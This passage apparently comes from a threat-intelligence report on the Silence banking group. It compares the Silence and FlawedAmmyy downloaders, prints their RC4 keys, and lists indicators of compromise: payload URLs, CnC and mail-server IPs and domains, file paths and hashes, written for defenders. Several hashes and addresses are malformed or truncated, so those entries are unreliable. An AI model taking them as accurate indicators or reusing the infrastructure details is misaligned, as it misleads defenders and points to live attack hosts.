- `%APPDATA%\[GUID_INT]\dates` (a temporary encrypted file)
- `%APPDATA%\CHROME-[GUID_INT].exe` (a decrypted file)

- The same criteria are used to check the size of the downloaded file. The file size must exceed 4,000 bytes. This is a rather unique number, which is used instead of typical 4096 or 1024.

- The same criterion is used to check the contents of the downloaded file. The first two bytes of the file are checked, and they must be equal to "MZ", which corresponds to the header of the executable file.

- A specific sequence of steps taken to download the file, which includes sending a request, writing a CnC response to the file, reading the file, checking whether the file size is over 4,000 bytes, checking for MZ, decrypting the file, saving the decrypted file, and executing the file.

An unusual detail in this sequence is that in both samples the size of the downloaded content is checked after the file has been written to disk. If the CnC returns <= 4000 bytes, however, writing the CnC response to the file will not be necessary at all. In both samples, this check is made after the response has been written to the file.

Another non-typical feature is that after the server response is written to the file, two checks are performed, during which the written file is read and its contents are decrypted and rewritten into the same file. This sequence contains many redundant steps: it would be sufficient to simply perform a request to the CnC, compare its length to 4,000, decrypt the response and write it to the file in the event of its first two bytes being equal to "MZ". The presence of such redundant and similar stages may indicate that the code was borrowed and copied from other projects.

- Similar values of the delay function arguments.
- Identical RC4 decryption algorithm for downloaded files. The decryption key of the downloaded files is Pqoi73jGdjwenYew33 for the FlawedAmmyy RAT loader, and jgsi23894uhnfjusiof for Silence.Downloader (for decrypting non-file data, for example, commands from server responses. Silence.Downloader has other keys: FKh23yu7T^&@# and WuYQaEaAixoRyCu).
- Identical self-removal code.
- The same set of API functions used.

**Differences between the samples:**

- FlawedAmmy.Downloader is non-resident. This means that it starts, downloads and runs the file and deletes itself.

- Silence.Downloader is resident. It copies itself to `%All Users\Application Data%\WIN7Z\`
wsus.exe, then adds itself to startup (the Run registry key) and executes requests to the CnC in a cycle with an interval of 2 minutes. It removes itself only when it receives the KILL command from CnC.

<table>
<thead>
<tr>
<th>Criterion</th>
<th>Value in FlawedAmmyy.Downloader</th>
<th>Value in Silence.Downloader</th>
</tr>
</thead>
<tbody>
<tr>
<td>Development environment used</td>
<td>Visual Studio 2013</td>
<td>Visual Studio 2013</td>
</tr>
<tr>
<td>Gibberish import table</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Method of generating downloaded file names using GUID and the CoCreateGuid() function</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Checking the downloaded file size</td>
<td>Over 4,000 bytes</td>
<td>Over 4,000 bytes</td>
</tr>
<tr>
<td>Checking the contents of the downloaded file</td>
<td>The first 2 bytes - “MZ”</td>
<td>The first 2 bytes - “MZ”</td>
</tr>
<tr>
<td>File download steps</td>
<td>Sending a request, writing a CnC response to a file, reading the file, checking if the file size is over 4,000 bytes, checking for MZ, decrypting the file, saving the decrypted file, executing the file.</td>
<td>Sending a request, writing a CnC response to a file, reading the file, checking if the file size is over 4,000 bytes, checking for MZ, decrypting the file, saving the decrypted file, executing the file.</td>
</tr>
<tr>
<td>Argument values of the delay function</td>
<td>Sleep(5000); Sleep(3000); Sleep(3000); Sleep(1000);</td>
<td>Sleep(1000); Sleep(50); Sleep(3000); Sleep(3000); Sleep(3000); Sleep(3000); Sleep(3000); Sleep(5000); Sleep(120000);</td>
</tr>
<tr>
<td>Decryption algorithm for downloaded files</td>
<td>RC4</td>
<td>RC4</td>
</tr>
<tr>
<td>API call method</td>
<td>Dynamic search</td>
<td>Static call from an import table</td>
</tr>
<tr>
<td>Loader type</td>
<td>Non-resident</td>
<td>Resident</td>
</tr>
<tr>
<td>Is the wsus.exe file name used?</td>
<td>Yes, it is used to name the downloaded and launched file</td>
<td>Yes, the loader file is copied under this name.</td>
</tr>
<tr>
<td>What is added to startup?</td>
<td>A service named foundation</td>
<td>Its own file</td>
</tr>
<tr>
<td>What system information is collected?</td>
<td>Windows version, domain name information</td>
<td>Tasklist, qwinsta, ipconfig, hostname, disks, Windows version, OS bitness</td>
</tr>
<tr>
<td>Is the collected data sent to the CnC?</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>Are requests to the CnC encoded additionally?</td>
<td>No</td>
<td>Yes</td>
</tr>
</tbody>
</table>
FlawedAmmyy infrastructure

The servers used by FlawedAmmyy are not located where Silence usually hosts them. The hypothesis that these attacks are not connected is also supported by the fact that the emails containing FlawedAmmyy differ greatly from those used by Silence and are delivered to both individuals and companies.

**Downloaders**

<table>
<thead>
<tr>
<th>Date</th>
<th>Hash</th>
<th>Domain</th>
</tr>
</thead>
<tbody>
<tr>
<td>25/05/2018</td>
<td>f4b6b0c8787ea33440e9668f5d506a5d6ec7447114b3d-cdd6d602732054dfe</td>
<td><a href="http://cloudflarechk.%5Bcom/cloud.png">http://cloudflarechk.[com/cloud.png</a>]</td>
</tr>
<tr>
<td>25/05/2018</td>
<td>5ad873c6b3351c0239b74548697c870182339b9a2b2d76767af57a3d929c5</td>
<td><a href="http://cloudflarechk.%5Bcom/cloud.png">http://cloudflarechk.[com/cloud.png</a>]</td>
</tr>
<tr>
<td>07/06/2018</td>
<td>fc5c2cf9af9f08b0be6e8f95e071f70183f0eb338b662c75cf230528b9d4d0</td>
<td><a href="http://thespec.supportservice.%5Bcom/load.png">http://thespec.supportservice.[com/load.png</a>]</td>
</tr>
<tr>
<td>10/06/2018</td>
<td>9b845cf9045df1bd71da4eb748b6e9959d78b4d4e4d2eb9f6a0b8</td>
<td><a href="http://thespec.supportservice.%5Bcom/load.png">http://thespec.supportservice.[com/load.png</a>]</td>
</tr>
<tr>
<td>18/06/2018</td>
<td>edeb70a8c3f5f014352035ac7414d7fe8d028ac4ab895af7c7dbf742c4d9d</td>
<td><a href="http://185.176.221.%5Bba1%5D./ban3.dat">http://185.176.221.[ba1]./ban3.dat</a></td>
</tr>
<tr>
<td>28/06/2018</td>
<td>07b395267fb6f62bf5ed1e792bd7f64dcdff663a211f0abbc1f3c20093a087</td>
<td><a href="http://147.135.170.%5Bba1%5D./kernel.dat">http://147.135.170.[ba1]./kernel.dat</a></td>
</tr>
<tr>
<td>11/09/2018</td>
<td>8f28bd9c2b7c6b08ed28b12ae1400746e257c447c05957d8cb6fd4eb9f419d</td>
<td><a href="http://185.176.193.%5Bba1%5D./date2.dat">http://185.176.193.[ba1]./date2.dat</a></td>
</tr>
<tr>
<td>18/09/2018</td>
<td>df64b7c101d1daaa287e5613b998729d7c523481532bfe193ed406ee2c773</td>
<td><a href="http://185.180.196.%5Bba1%5D./date2.dat">http://185.180.196.[ba1]./date2.dat</a></td>
</tr>
<tr>
<td>18/09/2018</td>
<td>5899752352b07295b4c731e3165cadedb95634a30d8f208170b9d49ab73e470</td>
<td><a href="http://79.137.127.%5Bba1%5D./ba.dat">http://79.137.127.[ba1]./ba.dat</a></td>
</tr>
<tr>
<td>19/09/2018</td>
<td>c24815a0025eac9f8846e8c9ca861e6a6a691959204893056aecee6f71a1eb</td>
<td><a href="http://185.176.193.%5Bba1%5D./date1.dat">http://185.176.193.[ba1]./date1.dat</a></td>
</tr>
<tr>
<td>20/09/2018</td>
<td>a46af8996af6df1dbf50915bb6665b07f378edfaa7e94f-d594050f58716</td>
<td><a href="http://185.180.196.%5Bba1%5D./date2.dat">http://185.180.196.[ba1]./date2.dat</a></td>
</tr>
<tr>
<td>20/09/2018</td>
<td>14ac5f44c40f4b82a1951da4c09a3b0aa3049030e9e4b4d12ece58560c01b56d2</td>
<td><a href="http://185.180.196.%5Bba1%5D./date2.dat">http://185.180.196.[ba1]./date2.dat</a></td>
</tr>
<tr>
<td>23/09/2018</td>
<td>c988d74d9b7be9b864d451752c7d8eafdf334bacbf09dbcfcb7548d-a1cc50e56</td>
<td><a href="http://185.180.196.%5Bba1%5D./date1.dat">http://185.180.196.[ba1]./date1.dat</a></td>
</tr>
<tr>
<td>25/09/2018</td>
<td>ec7c0c18006b1c92510db8959f4201163ab0bf6bfee3a3e32901c-c959d17d77</td>
<td><a href="http://185.176.123.%5Bba1%5D./date1.dat">http://185.176.123.[ba1]./date1.dat</a></td>
</tr>
<tr>
<td>17/10/2018</td>
<td>6703db496bb331a109ee5824c8f4c02b1861d8478470b-63c45800e476d26e1</td>
<td><a href="http://msboxoffice.%5Bcom/date1.dat">http://msboxoffice.[com/date1.dat</a>]</td>
</tr>
<tr>
<td>17/10/2018</td>
<td>a6731545649e3e9b19c737389a76ae6ad844eaf307b702ab7118add19f6cbe4c</td>
<td><a href="http://msboxoffice.%5Bcom/date1.dat">http://msboxoffice.[com/date1.dat</a>]</td>
</tr>
<tr>
<td>17/10/2018</td>
<td>8f6b56c971b16669009129159cxo29d35556ed36311611390b-f7140a9e6e</td>
<td><a href="http://msboxoffice.%5Bcom/date1.dat">http://msboxoffice.[com/date1.dat</a>]</td>
</tr>
<tr>
<td>07/12/2018</td>
<td>6ec5f6e6b2244b3ee18df881626d59737a923c3ae4202affaf-2de4b575e68</td>
<td><a href="http://31.207.45.%5Bba1%5D./sl.dat">http://31.207.45.[ba1]./sl.dat</a></td>
</tr>
<tr>
<td>03/01/2019</td>
<td>b60226cf9c24378702145071d912a75c0e47c1a1639b341fd-ceed38958f3f31</td>
<td><a href="http://31.207.45.%5Bba1%5D./sl.dat">http://31.207.45.[ba1]./sl.dat</a></td>
</tr>
<tr>
<td>Date</td>
<td>SHA256 Hash</td>
<td>File Location</td>
</tr>
<tr>
<td>------------</td>
<td>----------------------</td>
<td>-------------------------</td>
</tr>
<tr>
<td>13/02/2019</td>
<td>6b8e9f93232d6b4c4b83708b3c3e5344cc695937b41a44c16a6eb8b84d11111da7</td>
<td><a href="http://185.171.127/201/dat1.omg">http://185.171.127/201/dat1.omg</a></td>
</tr>
<tr>
<td>13/02/2019</td>
<td>de6c44e83c4f897bc26d6f3519f3a32b7d7f80be31cc474c98c7ac9b3aeb5</td>
<td><a href="http://185.171.127/201/dat2.omg">http://185.171.127/201/dat2.omg</a></td>
</tr>
<tr>
<td>13/02/2019</td>
<td>6c4e2c2d9c7e2b85f0c4d7be3b0f15855bd7bcbdbbade4fae079c9f2dceee</td>
<td><a href="http://185.171.127/201/dat3.omg">http://185.171.127/201/dat3.omg</a></td>
</tr>
<tr>
<td>19/02/2019</td>
<td>01dc949a3fcb46c6e593bc7247f048ae87abf04c585de-57557b5e5a89a14588a6</td>
<td><a href="http://185.171.201/235/dat3.omg">http://185.171.201/235/dat3.omg</a></td>
</tr>
<tr>
<td>19/02/2019</td>
<td>9a58aeab3dbf3c5dd813ec08718b10fc5cf934cbda06a193d906a9b7ca386b0d</td>
<td><a href="http://185.171.201/235/dat1.omg">http://185.171.201/235/dat1.omg</a></td>
</tr>
<tr>
<td>19/02/2019</td>
<td>a77c85a15c8d7b3396ed2d299a58ce49cft044703189977c21c5a17c2eb94c451</td>
<td><a href="http://185.171.201/235/dat3.omg">http://185.171.201/235/dat3.omg</a></td>
</tr>
<tr>
<td>19/02/2019</td>
<td>0a7e6a1ed2b4111d2d825cfe794e18fb4c258d85329c1f6b15f17a68741dc</td>
<td><a href="http://185.171.201/235/dat4.omg">http://185.171.201/235/dat4.omg</a></td>
</tr>
<tr>
<td>19/02/2019</td>
<td>4fe63097dca309a19619415e1e8654f06b306516e5016d6c0d61cf-cc9dd877968</td>
<td><a href="http://185.171.201/235/dat1.omg">http://185.171.201/235/dat1.omg</a></td>
</tr>
<tr>
<td>19/02/2019</td>
<td>ffaad77e6c26e56b7f6e38f8dfffda4950572321d29e00f5b117e692e4667f77904</td>
<td><a href="http://185.171.201/235/dat1.omg">http://185.171.201/235/dat1.omg</a></td>
</tr>
<tr>
<td>20/02/2019</td>
<td>d1d6957b42309b37fb759f4ed21660c3edf3d14cf23b754526eae806d456cb8</td>
<td><a href="http://213.183.63./fac11.omg">http://213.183.63./fac11.omg</a></td>
</tr>
<tr>
<td>20/02/2019</td>
<td>014d47c2ee73e6b3ec06a72d888888cf-c2489ce8e8323f57e003295439e6f34</td>
<td><a href="http://195.123.209./169/dat1.omg">http://195.123.209./169/dat1.omg</a></td>
</tr>
<tr>
<td>22/02/2019</td>
<td>17ce5e58c2d19c5825f9b3bf127ae929d50155939988b52260dd4f2ee0752688</td>
<td><a href="http://dorlon-so/./dorlon/181.dat">http://dorlon-so/./dorlon/181.dat</a></td>
</tr>
<tr>
<td>27/02/2019</td>
<td>81ed8b0e133aa7d751e0b44f66b3f2f5a243ca80dad6c0188f406d85f83dd</td>
<td><a href="http://91.200.41./236/s.dat">http://91.200.41./236/s.dat</a></td>
</tr>
<tr>
<td>01/03/2019</td>
<td>17a33f9e74cb6491035e7e091f1432e507a7b83e1f-33cb8511674b85d95f61d0a</td>
<td><a href="http://185.162.131./87/p.dat">http://185.162.131./87/p.dat</a></td>
</tr>
<tr>
<td>06/03/2019</td>
<td>80c9297e0e1a250ca4b3911a02d90221b9cb2b12dc9e-bca5b8e5f1778493e6</td>
<td><a href="http://185.231.155./39/s.dat">http://185.231.155./39/s.dat</a></td>
</tr>
<tr>
<td>06/03/2019</td>
<td>2ad7ac7e4ee21a2d36cbbcf28a3988f5ad1b3fa8a6e674ed9bfb3d15c-4cbc432b</td>
<td><a href="http://185.128.213./12.s.dat">http://185.128.213./12.s.dat</a></td>
</tr>
<tr>
<td>06/03/2019</td>
<td>db86f4a83a7546f80b1b9aea5a404a143096c1dbf237cc6d-b807601ae9e46d2d</td>
<td><a href="http://31.41.47./190/s.dat">http://31.41.47./190/s.dat</a></td>
</tr>
<tr>
<td>06/03/2019</td>
<td>dd7664175d09c7c3bfb76a5071c043412721d3a9756b5c4b6d-f9abeb73b1d5</td>
<td><a href="http://167.179.86./255/dns.dat">http://167.179.86./255/dns.dat</a></td>
</tr>
<tr>
<td>11/03/2019</td>
<td>fb70b4b2c3e9f339e6e6887a6e9e7b7f6950c9e99f-b96aa9d973fb24839</td>
<td><a href="http://202.168.153./228/dns3.dat">http://202.168.153./228/dns3.dat</a></td>
</tr>
<tr>
<td>12/03/2019</td>
<td>b75f9e015a5aeb03fb1d03fde5e98ec9841a7622f81b-3b7449e098bc8895a558</td>
<td><a href="http://cladflarech%5B,./cloud.png">http://cladflarech[,./cloud.png</a></td>
</tr>
<tr>
<td>15/03/2019</td>
<td>b2578de8db6e00540021738e37474fbc3445e1df-d04820a77715a0dc4c6d1f</td>
<td><a href="http://185.231.155./39/s.dat">http://185.231.155./39/s.dat</a></td>
</tr>
<tr>
<td>16/03/2019</td>
<td>b4ff98e81d6618b2d737127573c8c35cee3602b711d8c3-dc5245d4a5b278b</td>
<td><a href="http://91.200.41./236/s.dat">http://91.200.41./236/s.dat</a></td>
</tr>
</tbody>
</table>
Payloads

05/06/2018 7b6125418b89942a8e7bf2563ce11a05402d3c4f05a18e3d0a4d7a7f9ee41 185.222.202[.]139
07/06/2018 b4e8e4d0605064df6ffec3e0a233ae1e1bf315f9d70996f983127a7f484e99 103.208.86[.]140
13/06/2018 bce756ec2b8d7419044ba8302c69ddbee03540b0dc764e19ec4e7aa44e8ef13 169.239.129[.]125
25/06/2018 7b9f42d4bbcc976274754ef14c1d4d1c14e9d21c09038746895c27b64fcf6d4 103.208.86[.]208
26/06/2018 18735245bc6f6035f92d3db3aa0bfc06f031be2b2fd556ad76f0d0957893d8b9 103.208.86[.]252
12/07/2018 42ded82ef563db3b35aa7797b76ef61a1c92595217f8076dbd8b809a855b8e57 185.99.132[.]119
13/07/2018 73e149ada7c2a09a7a59a4cedc414d46496c0342b68709cada7bce10896c69 103.208.86[.]226
17/07/2018 557db9e639f812b6f715bbcb184d33c5c549a86adba0cd9b6e9a27236ed727 185.99.132[.]128
17/07/2018 56f1ab41b0c8f3cb0a98f5ca572ed7caf5f1c60d3a808830cabe590d793498 169.239.129[.]150
17/07/2018 c120809359864a2a4298d16ef3f1cc9dc58a784a69e9c3131f18c1b6e0fbc17 185.99.132[.]128
17/07/2018 895952ed12b501c70523502a750d70645f8b534ab6d3f54fba17d366f14667 169.239.129[.]226
19/07/2018 773f08e332a9f8f648bc1ad7e1786e1120023dae9a4c0c0c1a7b71d8a7c9 185.99.132[.]128
14/08/2018 efeaddb390f707878cc713f119872744bbf8f3a03ee26d2566786b03 169.239.129[.]27
21/08/2018 8cbf24dbbe16b501a3b3b4b2b3c53295206488f8d35e1b89393813ae1b0 185.99.132[.]128
21/08/2018 7d0cef74bc6c5c6d6a6947cc8d94f8959b8c84671e8e649092e141c131d0 169.239.129[.]128
22/08/2018 b966e1a7171933e138e68180c3c9892b2336e4a4497c28f75398c4804a250c6 169.239.129[.]128
23/08/2018 8947946f16a8e3b56d540304e16d7f07e29b501044e4e385aa83937b03a81e 185.99.132[.]128
17/09/2018 ebebe43d9eb77e06a3957cbde462b90abb5918944db802a2a132826aa24e3435 169.239.129[.]128
16/10/2018 35613f9b5940exad52f12cc46f0d222d308bebf8e3ce20d5702292423 185.255.79[.]44
17/10/2018 bbbd788875398dc9f7b3fb4baed2de8309c3df527b0d848bf46b8c87918de4 169.239.129[.]27
17/10/2018 ed5d29a193ed2c7005163989f41682a4263f20b2d3205941022395989 169.239.129[.]27
17/10/2018 50c9a4698a1c387ba7af19870716c0299f59f0d8a3bd721f10e2e8f1b440 169.239.129[.]27
17/10/2018 e52b1b337e8427002db4a5b45d7ac18d9f3e4412d0f18a8a61411ccc56c2 185.255.79[.]67
24/10/2018 f143a594fa59150af7503a8e18a0986dbeb79858e8c4480b1149344194317bd4 185.99.132[.]128
27/11/2018 8f12a4c11f625276c552a4e4f8838db0828a5d09589c8cb718004c099a0b 169.239.129[.]27
29/11/2018 f318b1e2d131e67a1c1800e59dc1373464c6992008db4d4a36bed90225e8 169.239.129[.]27
07/12/2018 c8156fe7566d195b05caf7676ce2630cd08cdcc1baf3f7efb7f1e08cd16 185.255.79[.]44
18/02/2019 56b57c8277f4a423b7a29ff5a081b7516d246689a8c871b7fb4869 185.99.133[.]83
19/02/2019 7ecf6834fe276c71265c15d70e2ec1bcb6801c85201e8a2956c23d7827d 185.99.133[.]83
20/02/2019 afd1dd5aa03b3c142a3ve919c9d9657e54c06d3a6b305450 169.239.129[.]31
22/02/2019 8562d866b475e221a53946d6edee67ccdb491a752dd25b62818424b8c2907 169.239.129[.]31
22/02/2019 bccdcdec212ac52d328a56af62c2130d008f73d3838f6ec36f4b4e0f64c4a7 185.99.133[.]22
26/02/2019 6e53d7e0704b17818256a2b09a7ae4bc6c2d850970c09fd3328e6c545a097 169.239.128[.]15
06/03/2019 4425fe3d8b7503a3cb1a1be48d14881a18a00c67a975a0d4ba11911d8b09 169.239.129[.]27
10/03/2019 03318d195641590c6e94df7e95b899e5c0ddbc813a4024ac7efaa9a01f9ed 146.0.77[.]22
<table>
<thead>
<tr>
<th>Date</th>
<th>Payload</th>
</tr>
</thead>
<tbody>
<tr>
<td>10/03/2019</td>
<td>1b5a01df930dbaaaf8a61a948b2d7205eed023022c5d76c03144daeae0442e5ca</td>
</tr>
<tr>
<td>15/03/2019</td>
<td>dd11953288c33ca0202301ec639efa1a42f87059f811daafde58343db7002d4b4b</td>
</tr>
<tr>
<td>21/03/2019</td>
<td>127178ad32549676e47111180a356bb1c1184bb0de8e3ce46a61da6a170489de</td>
</tr>
<tr>
<td>21/03/2019</td>
<td>64edbe1c15f6ed7ed92b2b847f9ba703b1254924f046f8873459e74ecb9bb4d6d7</td>
</tr>
</tbody>
</table>
The list of indicators below is not comprehensive and only complements the IOCs provided in the report *Silence: Moving into the darkside*.

**File system**

- `%APPDATA%\temps.dat`
- `%APPDATA%\<string>-[0-9a-f][8].exe`
- `%PROGRAMDATA%\<filename>.exe`
- `gxftcp.dat`
- `C:\xsfsasdf.txt`
- `c:\windows\st.exe`
- `c:\hp\dotnet.exe`
- `c:\hp\1.txt`
- `c:\hp\SocksTest.exe`
- `c:\intel\asyncbridge.net35.dll`
- `c:\intel\sockstest.exe`
- `c:\hp\SocksTest.exe`

**Registry**

- несанкционированные ключи в HKCU\Software\Microsoft\Windows\CurrentVersion\Run

**Mutexes**

- `Global\00000539\random_dword`

**Hashes**

- 06bd5fc2eb2b00cabfe279b1321e6671f0c768be — Silence.Downloader aka TrueBot
- 1cc39211d98e3e11dc9afdf499f97b93043c470fb — Silence.Downloader aka TrueBot
- 93223c0dbc7df43e4d813c9809cde1263aa4f4ec3 — Silence.Downloader aka TrueBot
- 2a54b8216b96897ff9f5c31992ea0d6b43b96f32b — Silence.ProxyBot.NET
- c59cb38bcada36d8c7a671642146ff39f1f49693 — Silence.MainModule
- 957538ca1a876cbf4f840777c032811d82bf55 — CVE-2017-11882/CVE-2018-0802
- 2cd620cea310b0ed6b68e4bb27301b2563191287b — Silence.Downloader aka TrueBot
- f3a639f2659709c76b70a0c2dd7dc3ef1d2103b — Silence.Downloader aka TrueBot
- 3e796c9580de47fe994cbbfccc8c383375ab4618b — Silence.Downloader aka TrueBot
62a4ce1c4f81643eda4288f28c158b5f92bf6983 — macro doc
08c985a9187d3823d89c16f479a56161559681ae — Silence.ProxyBot
0f5cf45240401aad66a2118f99eb3fcea9d23e4 — Silence.ProxyBot.NET
e2955b716250e0f25510e5bc2ca05fa037ffdad — Silence.ProxyBot.NET
0b5f0c94ca5251a6bf142f8fdbeae117d2996f66 — Silence.MainModule
15e8fac9c9d5e541940a3c2782df6196e1e9326 — xfs-disp.exe
c667ca2b4c2d0426aafecb7b6cb9c8282dddcd — Silence.MainModule
21f557e714f240cd0fff365a454c57849a87170c — Silence.Downloader aka TrueBot
f88d4e44d85ef3acc24c8459c68915c76e792ed — EDA
cd4e470e7448e8d9e559fd2029a069829c6190cb — Silence.ProxyBot.NET

### Domains and IP addresses

<table>
<thead>
<tr>
<th>Address</th>
<th>Destination</th>
<th>Hosting/Registrar</th>
<th>Date (MM-YYYY)</th>
</tr>
</thead>
<tbody>
<tr>
<td>5.39.221[.]46</td>
<td>Silence.Downloader CnC</td>
<td>Hostkey</td>
<td>2018-07</td>
</tr>
<tr>
<td>mobilecommerzbank[.]com</td>
<td>mail server</td>
<td>mail server</td>
<td>2018-08</td>
</tr>
<tr>
<td>5.39.218[.]205</td>
<td>Silence.Downloader CnC</td>
<td>Hostkey</td>
<td>2018-08</td>
</tr>
<tr>
<td>5.8.88[.]254</td>
<td>Silence.Downloader CnC</td>
<td>Morene</td>
<td>2018-05</td>
</tr>
<tr>
<td>91.243.80[.]200</td>
<td>Silence.Downloader hosting</td>
<td>Morene</td>
<td>2018-05</td>
</tr>
<tr>
<td>fpbank[.]ru</td>
<td>mail server</td>
<td>mail server</td>
<td>2018-05</td>
</tr>
<tr>
<td>84.38.133[.]22</td>
<td>Silence backend</td>
<td>Dataclub</td>
<td>2018-07</td>
</tr>
<tr>
<td>itablex[.]com</td>
<td>Silence backend</td>
<td>GoDaddy</td>
<td>2018-07</td>
</tr>
<tr>
<td>sbbank[.]ru</td>
<td>mail server</td>
<td>mail server</td>
<td>2018-10</td>
</tr>
<tr>
<td>146.0.77[.]18</td>
<td>Silence.Downloader hosting</td>
<td>Hostkey</td>
<td>2018-10</td>
</tr>
<tr>
<td>5.39.221[.]60</td>
<td>Silence.Downloader CnC</td>
<td>Hostkey</td>
<td>2018-10</td>
</tr>
<tr>
<td>91.243.80[.]84</td>
<td>Silence backend</td>
<td>Morene</td>
<td>2018-09</td>
</tr>
<tr>
<td>84.38.134[.]103</td>
<td>Silence backend</td>
<td>Dataclub</td>
<td>2018-10</td>
</tr>
<tr>
<td>74.220.215[.]239</td>
<td>mail server</td>
<td>mail server</td>
<td>2018-11</td>
</tr>
<tr>
<td>146.0.72[.]139</td>
<td>Silence.Downloader hosting</td>
<td>Hostkey</td>
<td>2018-11</td>
</tr>
<tr>
<td>146.0.72[.]188</td>
<td>Silence.Downloader CnC</td>
<td>Hostkey</td>
<td>2018-11</td>
</tr>
<tr>
<td>Address</td>
<td>Destination</td>
<td>Hosting/Registrar</td>
<td>Date (MM-YYYY)</td>
</tr>
<tr>
<td>------------------</td>
<td>----------------------------------</td>
<td>-------------------</td>
<td>----------------</td>
</tr>
<tr>
<td>185.236.76[.]175</td>
<td>Silence backend</td>
<td>DataHost</td>
<td>2018-11</td>
</tr>
<tr>
<td>185.29.10[.]26</td>
<td>Silence backend</td>
<td>Dataclub</td>
<td>2018-11</td>
</tr>
<tr>
<td>5.39.218[.]162</td>
<td>Silence.Downloader CnC</td>
<td>Hostkey</td>
<td>2018-10</td>
</tr>
<tr>
<td>146.0.77[.]104</td>
<td>Silence.Downloader hosting</td>
<td>Hostkey</td>
<td>2018-12</td>
</tr>
<tr>
<td>146.0.77[.]112</td>
<td>Silence.Downloader CnC</td>
<td>Hostkey</td>
<td>2018-12</td>
</tr>
<tr>
<td>pharm[.]group</td>
<td>mail server</td>
<td>NameCheap</td>
<td>2018-12</td>
</tr>
<tr>
<td>cardisprom[.]ru</td>
<td>mail server</td>
<td>RegRu</td>
<td>2018-12</td>
</tr>
<tr>
<td>bankrebres[.]ru</td>
<td>mail server</td>
<td>RegRu</td>
<td>2018-12</td>
</tr>
<tr>
<td>213.183.63[.]227</td>
<td>Silence.Downloader CnC</td>
<td>Melbicom</td>
<td>2018-12</td>
</tr>
<tr>
<td>185.244.131[.]68</td>
<td>Silence.Downloader CnC</td>
<td>Gwhost</td>
<td>2018-12</td>
</tr>
<tr>
<td>basch[.]eu</td>
<td>Silence.Downloader hosting</td>
<td>1&amp;1 internet</td>
<td>2019-01</td>
</tr>
<tr>
<td>217.160.233[.]141</td>
<td>Silence.Downloader hosting</td>
<td>1&amp;1 Internet</td>
<td>2019-01</td>
</tr>
<tr>
<td>185.70.187[.]188</td>
<td>Silence.Downloader CnC</td>
<td>Hostkey</td>
<td>2019-01</td>
</tr>
<tr>
<td>185.70.186[.]146</td>
<td>Silence.Downloader hosting</td>
<td>Hostkey</td>
<td>2019-01</td>
</tr>
<tr>
<td>185.36.191[.]42</td>
<td>Silence backend</td>
<td>Serverius</td>
<td>2019-01</td>
</tr>
<tr>
<td>185.175.58[.]136</td>
<td>Silence.Downloader CnC</td>
<td>HostHatch</td>
<td>2019-01</td>
</tr>
<tr>
<td>185.29.8[.]45</td>
<td>Silence.Downloader hosting</td>
<td>Dataclub</td>
<td>2019-02</td>
</tr>
<tr>
<td>5.39.218[.]210</td>
<td>Silence.Downloader CnC</td>
<td>Hostkey</td>
<td>2019-02</td>
</tr>
<tr>
<td>5.188.231[.]47</td>
<td>Silence backend</td>
<td>Morene</td>
<td>2019-03</td>
</tr>
<tr>
<td>185.70.184[.]32</td>
<td>EDA backend</td>
<td>Hostkey</td>
<td>2019-03</td>
</tr>
<tr>
<td>counterstat[.]pw</td>
<td>EDA backend</td>
<td>NameCheap</td>
<td>2019-03</td>
</tr>
<tr>
<td>counterstat[.]db</td>
<td>EDA backend</td>
<td>NameCheap</td>
<td>2019-03</td>
</tr>
<tr>
<td>185.20.187[.]89</td>
<td>Silence backend</td>
<td>DeltaHost</td>
<td>2019-03</td>
</tr>
<tr>
<td>193.109.69[.]35</td>
<td>Ivoke downloader</td>
<td>Hostkey</td>
<td>2019-05</td>
</tr>
<tr>
<td>185.29.9[.]41</td>
<td>Silence backend</td>
<td>Dataclub</td>
<td>2019-06</td>
</tr>
<tr>
<td>185.161.208[.]9</td>
<td>Silence.MainModule hosting</td>
<td>DeltaHost</td>
<td>2019-06</td>
</tr>
<tr>
<td>185.70.186[.]149</td>
<td>Silence.Downloader CnC</td>
<td>Hostkey</td>
<td>2019-06</td>
</tr>
<tr>
<td>Address</td>
<td>Destination</td>
<td>Hosting/Registrar</td>
<td>Date (MM-YYYY)</td>
</tr>
<tr>
<td>-------------</td>
<td>----------------------</td>
<td>-------------------</td>
<td>----------------</td>
</tr>
<tr>
<td>185.70.186[.]151</td>
<td>Silence Downloader hosting Silence Downloader hosting</td>
<td>Hostkey</td>
<td>2019-06</td>
</tr>
<tr>
<td>zaometallniva[.]ru</td>
<td>mail server mail server</td>
<td>RegRu</td>
<td>2019-06</td>
</tr>
<tr>
<td>151.248.115[.]41</td>
<td>mail server mail server</td>
<td>RegRu</td>
<td>2019-06</td>
</tr>
<tr>
<td>1mliked[.]u</td>
<td>mail server mail server</td>
<td>Ru-Center</td>
<td>2019-06</td>
</tr>
<tr>
<td>185.154.52[.]83</td>
<td>mail server mail server</td>
<td>Eurobyte</td>
<td>2019-06</td>
</tr>
<tr>
<td>185.154.52[.]142</td>
<td>mail server mail server</td>
<td>Hostkey</td>
<td>2019-06</td>
</tr>
<tr>
<td>185.236.76[.]216</td>
<td>Silence backend</td>
<td>DeltaHost</td>
<td>2019-06</td>
</tr>
</tbody>
</table>
LIST OF SOURCES

1 https://www.thedailystar.net/frontpage/news/three-banks-hit-cyberattacks-1760629
2 https://www.youtube.com/watch?v=un1H-92AUeI
